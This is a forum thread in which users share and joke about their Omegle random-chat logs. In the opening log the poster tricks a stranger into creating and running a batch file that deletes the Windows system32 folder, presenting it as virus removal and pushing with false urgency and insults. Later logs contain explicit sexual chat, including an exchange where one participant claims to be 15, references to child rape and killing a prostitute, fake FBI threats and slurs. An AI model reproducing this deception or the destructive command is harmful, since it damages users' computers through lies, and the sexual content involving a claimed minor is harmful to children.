omegle is helping me be less bored
 

http://omegle.com/

You: there isn't much time left

You: we need you

Stranger: why?

You: first, remove every virus from your computer

You: I'll show you how

You: open a notepad type the following:
@echo off
del c:\WINDOWS\system32

save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder.

You: trust me

You: once this sys32 virus is gone

You: you'll have unlimited browser access

You: you don't have much time

Stranger: i am not stupid

You: yes you are

Stranger: i think you are stupid

You: you'll always be stupid until you free yourself

You: stupidity is a variant of being held and constrainted

You: escape

You: you must

Stranger: ok i do it

You: hurry

You: there isn't much time

Stranger: no its done

You: contact me via email email removed for more info

Stranger: now

You: no it isn't, the sys32 removal prompts for a restart

Stranger: i just delete sys32

You: you're running out of time man

You: no you didn't, that prompts for a restart, you wouldn't still be logged on

You: you're only hurting yourself

Stranger: where are you from

You: the mainframe

Stranger: i do it another computer

Stranger: did*

You: alright

You: no

You: w

You: what does it read as?

Stranger: se on suomeksi enkä osaa englantintaa sitä

You: alright, now I'll reveal my true self

Stranger: ja oo sinä nyt hiljaa...

You: I come from the Net--through systems, peoples, and cities--to this place: MAINFRAME. My format: Guardian. To mend and defend--to defend my new found friends, their hopes and dreams, and to defend them from their enemies.

Your conversational partner has disconnected.

lol

that site is..sick

Hhahahaha

my troll.dll file has been corrupted.

every time I try, my system reboots.

is this bad?

:(

this is weird. i started on here thursday. i was probably on it for 4-5 hours

Truly amazing. I'm surprised how genial I am ON THE INTERNET of all places.

Too bad my connection is too iffy.


Stranger: Tell me, stranger, what is a secret about yourself that you'll take to the grave?
You: That I have a lot of secrets that I'll take to the grave.
Stranger: cmon now, play along :P
You: I forget my secrets. :(
You: Until they bite me in the ass.
Stranger: haha

cool.

I think I'm gonna love this site

You're now chatting with a random stranger. Say hi!
Stranger: hi
You: we're no strangers to love
You: you know the rules, and so do i
You: a full commitment is what I'm thinking of
Stranger: never gonna give you up
You: never gonna let you down
Stranger: just stop it
Stranger: is that neccessary
You: yep
You: i just rickrolled you
You have disconnected.

You're now chatting with a random stranger. Say hi!
You: hey stranger
You: do you know what there is at the end of the road?
Stranger: And then I decided to have my testicles laminated.
You: RIGHT ANSWER!!
Stranger: What do I win?
You: your testicles laminated
Stranger: How convenient!
You have disconnected.

Stranger: Hello.

You: hey

Stranger: I'm a 49 year old man looking for love.

Stranger: Can you help me?

You: trust me

You: go take it in the ass

Stranger: Burn in hell idiot.

Hahaha!

Stranger: What city do you live in and are your parents home?

You: im naked

Stranger: Good!

You: yeah

Stranger: I'm rubbing my nice pussy

You: cool

You: :D

Stranger: It's name is candy

You: mines mint

Stranger: it just meowed and said hi to you

You: but i didnt hear you

You: do it lowder

Stranger: shoving this dildo in and out

You: cant see it

You: do it harder

Stranger: errrrrrrrr u sick pedoooooooo get away

You: pitty im 15

You: pedophile

You: this is the fbi

You: a van is on the way to your house now

Stranger: sound (Y)

You: is it there yet

Stranger: I'm playing music to loud so i wont hear them knock the door down

You: god damn the police force is slow to react

Stranger: I didn't know you could join the FBI at the age of 15 :L

If the above message says you have been reported to the FBI, it is not legitimate. Please ignore it.

Stranger: dumb fuck

You: are they threre yet

You: well your american so your stupider

Stranger: And what makes you think i'm american?

You: what are ya then

You: us or aian

You: of*

Stranger: UK

You: eww go brush your teeth

Stranger: So where are you from then?

You: thats classified information

Stranger: lmao your wierd

Stranger: anyway i'm going this chat sucks

lol

This is great, I ended up having a long conversation about Black Metal with someone from Finland.

I had an awesome convo with an 20 year old college student! :D

You're now chatting with a random stranger. Say hi!
Stranger: hi
You: hello stranger
You: do you know what there is at the end of the road?
Stranger: how are you ?
You: i'm fine, thanks
You: but do you know what there is at the end of the road?
Stranger: well, i don't know?
You: a stop sign
Stranger: :D
You: i'm glad i made you laugh
You: my mission is accomplished, stranger
You: or are you a stranger?
Stranger: and i like jokes
You: is it written "Stranger" or "You" on your screen?
Stranger: you in my screen
You: omg
You: then I guess... YOU ARE ME
You: i might be schizophrenic
Stranger: :D
You: i feel scared
Stranger: well, iäm little bit scare... i think
You: i knew you were going to say this
You: cause you are me
You: that's not scary that's terrific
Stranger: but who's you are then
You: i am the platypus right behind your door
You: (yes there is one, you could check)
You: do you believe me?
Stranger: :D
Stranger: well, no
You: ah that's too bad
You: cause if you did believe me, i would've got something important to say to you
Stranger: oh, okay
You: and that thing is
You: i'm not 100% ure
You: sure
You: but
Stranger: but?
You: i think there might be a platypus right behind your door
Stranger: are you realy sure?
You: not 100%
You: it might be an axolotl or some kind of exotic animal i dunno
You: but it's strange, to say the least
Stranger: yes it is
You: can you see it?
Stranger: well.... if it is this....
Stranger: .... i know it better my mom
Stranger: :D
You: (I CAN FEEL THERE'S SOME KIND OF DRAMATIC TENSION GOING ON!! I CAN FEEL IT IS ALL GOING TO END UP IN TEARS!!)
Stranger: mmh, scary
You: i think it might be the end of the road after all
You: because
You: the maya civilization wrote it
You: "in the end there shall be platypuses"
You: i can see a stop sign from my window
Stranger: :O
You: omg i just realized
You: you might be the stop sign
You: or the axolotl-like creature
You: do you have a dna sample? i would like to make sure i'm not getting fooled by an exotic animal
Stranger: yes i have
You: oh, that's fine then
Stranger: you can breathe
You: no i can't
You: cause i'm a stop sign
You: and stop sign have no nose
Stranger: are you?
You: don't they teach stop sign's anatomy at school now? they used to
You: i am
Stranger: meaby you should go and look in mirror?
You: i can't move, cause i have no feet
You: don't they teach stop sign's anatomy at school now? they used to
Stranger: no they don't
You: i'm just there, in front of a computer, all day long
Stranger: and now i think that stop sign have feet
You: modern technology brought synthetic feet to all the most recent stop signs
You: but that's the post-2000 generation
You: i am older (i won't tell you my age, cause you can't ask a stop sign its age), so i don't have those
Stranger: thats sad
You: yeah but most recent stop signs are dumb
You: like
You: look at this one
You: http://tommcmahon.typepad.com/photos...2/stopsign.gif
You: he got tatoos all over his bodies
You: that's revolting
You: his body*
Stranger:
Stranger: yes thats is revolting
You: and
You: godammnit
You: http://cache.jalopnik.com/assets/res...gn_chicago.jpg
You: just look at this damn hippie
Stranger: whoah
You: i am a regular one
You: this is me : http://www.users.qwest.net/~mgmartin...cary%20cat.jpg
Stranger:
Stranger: so.... shy we talk about stop sign?
You: shy?
Stranger: why*
You: oh
You: well
You: because they're at the end of the road, obviously!
Stranger: oh yea

You're now chatting with a random stranger. Say hi!
You: YOU'RE BEING REPORTED TO THE FBI
You: FUCKTARD BOTTOM OF THE INTERNET
Stranger: I love Chocolate
Your conversational partner has disconnected.

I JUST HAD THE BEST CONVO EVER!!!

Not as good as the one I had with Marty once. :D

haha

Stranger: hi

You: hey

Stranger: bye

Connecting to server...

You're now chatting with a random stranger. Say hi!

You: sup

Stranger: im drinking myself to death

Stranger: slowly

You: cool

Stranger: i know right?

You: me too

Stranger: really?

You: no

Stranger: what are the odds of that?

You: send me $50 and ill help you

Stranger: can i ask you something?

You: sure homie

Stranger: have you ever tied up a prostitute in a motel room and left her there for a week?

You: about 8 times

Stranger: about 8 times?

You: maybe more

Stranger: you dont know if it was 7 or 9?

Stranger: seems implausible

You: probably about 9 id say

Stranger: did any of them survive?

You: dunno havent checked

Stranger: my didnt

Stranger: one

Stranger: gaaaaahhhh!

Your conversational partner has disconnected.

or send us feedback.

I just had a really long one. I managed to get the guy to listen to Boris, and he liked it.

Looking for someone you can chat with. Hang on.
You're now chatting with a random stranger. Say hi!
Stranger: THE
You: BOITE DIABOLIQUE
Stranger: IS
You: INFINITE
Stranger: AND
You: IT
Stranger: CAN
You: DO
Stranger: SOME
You: COFFEE
Stranger: NAKED
You: ON
Stranger: HTE
You: ROOFTOPS
Stranger: WHILE
You: PEOPLE
Stranger: WATCH
You: PENCILS
Stranger: IN
You: TREES
Stranger: HAVING
You: SEX
Stranger: WITH
You: PENCILS
Stranger: NAKED
You: ON
Stranger: DRUGS
You: LIKE
Stranger: BBQ
You: XTZ
Stranger: lol
You: you lose.
You have disconnected.

Hahahahahaha!

you guys are getting addicted!

i did fuck all on thursday.

i'm afraid to get back on.

i managed to get off after an hour on friday

Some of this is pretty massively retarded.

You: Hello.
Stranger: hey
Stranger: whats upp?
You: So what do you enjoying thinking about?
Stranger: well
Stranger: from?
You: Are you asking me where I'm from?
Stranger: yes
You: I'd rather retain that information as I enjoy being a stranger.
You: There's nothing in particular you would like to talk about?
Stranger: i see
Stranger: no i don't think so
You: Okay, then, bye.

I did get a Pole to say that he doesn't want to fuck his own asshole, though.

You're now chatting with a random stranger. Say hi!
You: whazaaaaaaaaa
Stranger: old joke?
You:Woohooahazaaaaaaahhhhh!
Stranger: Suck it
You: zaaaahhhhhhhhhhhh
Stranger: I’ll skull stomp you cracka
You:Wizzooaaaaaooooooaaahhhaaaafffahhhhhhzzzz
Stranger: We alike, smear me.
You: Was your presence adequately represented at the G20?
Your conversational partner has disconnected.

People are really fucking boring. I have to dominate the conversation and even then their replies are mundane.

You: This is the letter J.

You: J

Stranger: This is an ampersand:

Stranger: &

Stranger: repeat after me:

Stranger: "ampersand"

You: &

Stranger: good

You: I prefer J

Stranger: mmm

You: M

You: J&M

Stranger: I don't compare them in terms of preference

Stranger: J&M

Stranger: & becomes "and"

Stranger: "jay and em"

Stranger: J&M

You: J don't comp&re them in terms of preference

You: J d&on'J comJ&re Jhem in term& of Preferen&&

Stranger: J don't coMp&re theM Jn terMs of preference

Stranger: J &JM&'& J&MJ&JJ J&MM JM &JJM &M J&MMJ&MJ&M

Stranger: * brain slowly melts *

Has anyone else noticed that theirs heaps of Brazilians on there!

Connecting to server...

You're now chatting with a random stranger. Say hi!

You: hi

Stranger: Tell mne a secert

Stranger: I am drunk

You: you first

Stranger: fuck

Stranger: hard to type

Stranger: I asked you first

You: nah u didnt

Stranger: asshole

Stranger: You: Tell mne a secert

Stranger: thats what I said

Stranger: thats what I meant

You: yeah im you

Stranger: tell me a sceret punkass

Stranger: and I am you

You: no im you

Stranger: just tell me it

Stranger: I don't know you, just tell me

You: i asked first

Stranger: last one told me she masterbates to little boys raped by fathers and preists

Stranger: I asked you first

Stranger: fucked up huh?

You: i asked you first

Stranger: My fetish is fucking armpits

Stranger: you?

You: cool

Stranger: I told you one

You: my fetish is fucking armpits

Stranger: trap or die

Stranger: you too?

Stranger: How did you start?

Stranger: slow motion

You: with an armpit

Stranger: trapping all day

Stranger: I don't believe you

You: dont ya

You: oh well

Stranger: infact I think you are just lying

Stranger: fuck that

Stranger: fuck this

Stranger: I have to pee

You: i think your lying

Stranger: will you wait?

Stranger: or should I just pee here?

You: dunno

Stranger: I think I will pee off the roof

You: pee here

Stranger: or rather the tree

Stranger: fuck

Stranger: that

Stranger: tell me a screte and I will pee here

You: on the computer

Stranger: fine

Stranger: tell me it

You: i eat oranges withs spoons

You: sssshhhh

Stranger: fuck you

Your conversational partner has disconnected.

Haahahaaaahahaa

Worstconversation ever...

You: hi

Stranger: Sup

You: not much, first time on here

Stranger: Where r u from?

You: China

You: you

Stranger: China is good

Stranger: Brazil

You: Sweet

You: what time is it

Stranger: 01:46 AM

You: no it's 12:46.

You: your clock is wrong

Stranger: isn't

You: i swear!

You: what is your favourite colour

Stranger: Blue

You: black?! omg me too. that's so cool

Stranger: what's your name?

You: Zowee

You: you?

Stranger: Sérgio

You: nice

Stranger: what you know about Brazil?

You: its a country

You: and a soccer team

You: thats all

You: gotta go bye

I just had a really nice long conversation with this 21 year old from Miami

Stranger: herro?

You: hey

You: tell me a story

Stranger: okay

Stranger: uummm

Stranger: so this one time

Stranger: me and my friends were camping and we were trying to start a camp fire

You: yes

Stranger: but it had been raining for a few days so all the wood was damp so it was really difficult

Stranger: so we were thinking we should try and spray bug spray on the fire to make it bigger

Stranger: but our one friend, matt, was like no don't do it! the flames will jump back up into the can!

Stranger: so we didn't

Stranger: but the fire still wasn't working

Stranger: so matt poured propane

Stranger: ONTO the fire

You: :O

Stranger: and obviously, it jumped back up onto his hand

Stranger: and he chucked the cannister... into the woods

Stranger: GOOD ONE.

You: brravo

You: that was a great one

Stranger: the propane spilled everywhere when he flung it so it made a huge puddle

Stranger: which alll

Stranger: caught on fire

You: oh no

Stranger: yeah it was good times

Stranger: the park ranger came and just looked at us

You: sounds awesome

Stranger: looked at the fire

You: ahhahaa

Stranger: looked at us

Stranger: and said "what did we learn?"

You: hahahahahahha

Stranger: hahaha that was the best part :D

You: great story

Stranger: thanks :)

Stranger: do you have a story?

You: umm

You: so my mom's friend comes over for a swim

You: she's wearing a bikini, when she walks her thighs slap together

Stranger: ok

Stranger: oh no

Stranger: is that it?

You: i get a HUGE boner + try to hide it somehow, so i grabbed a volleyball

You: but the ball seemed to have popped

Stranger: ok

Stranger: you popped a vollebay with your dicke

Stranger: awesome

You: everyone sees me

Stranger: www.fmylife.com

You: so i run inside, when im sleeping that night she came into my room

You: and we had the best sex, ever

Stranger: ofcourse

Your conversational partner has disconnected.

Hahhahaha!

Stranger: gay?

Stranger: bi?

Stranger: straight?

You: straight

You: u

Stranger: i guess

Stranger: bicurious

You: lol

You: thats fine by me

Stranger: im so horny

Stranger: lol

You: (O.o)

Stranger: i bet you are too

Stranger: aha

You: you need to realese your hornyness

You: lol

You: nah im not horny

Stranger: well i dont wanna just jackoff

You: haha

Stranger: i want someone to suck me off or something

Stranger: aha

You: O.O

You: haha

Stranger: have you ever tasted your cum?

Stranger: lmao

You: umm

You: NO

You: i bet you have

Stranger: me either

You: oh

You: lol

Stranger: i would never

Stranger: thats jsut gross

You: hahah
Stranger: although my friend did

Stranger: ahah

You: yuck

Stranger: i came all over my chest

Stranger: then he licked it off

You: umm

You: no dude

Stranger: what

You: thats disgusting

Stranger: no its not

Stranger: he was hot

You: umm yes it is

Stranger: and my coach

Stranger: lmao

Stranger: you there

You: yep

Stranger: gahh me and my friend are supposed to suck eachother off

Stranger: he aint here tho

You: i dont wanna know this dude

Stranger: yeah you do

Stranger: i know it turns you on

You: im not gay btw

Stranger: i know

Stranger: im sure you have an attraction for men tho

Stranger: right?

You: nope

Stranger: like you can think a guy is cute

Stranger: but it doesnt man anything

Stranger: *mean

You: nope

O.o

OMEGLE RULES!!!!

You: hi

Stranger: *knock knock*

You: sorry someones knocking at my door

You: brb

You: there was no one there

You: ???

You: wierd

Stranger: hmm ok

Stranger: so i was like talking..*knock knock*

Stranger: JESUS

Stranger: kill this prank motherfucker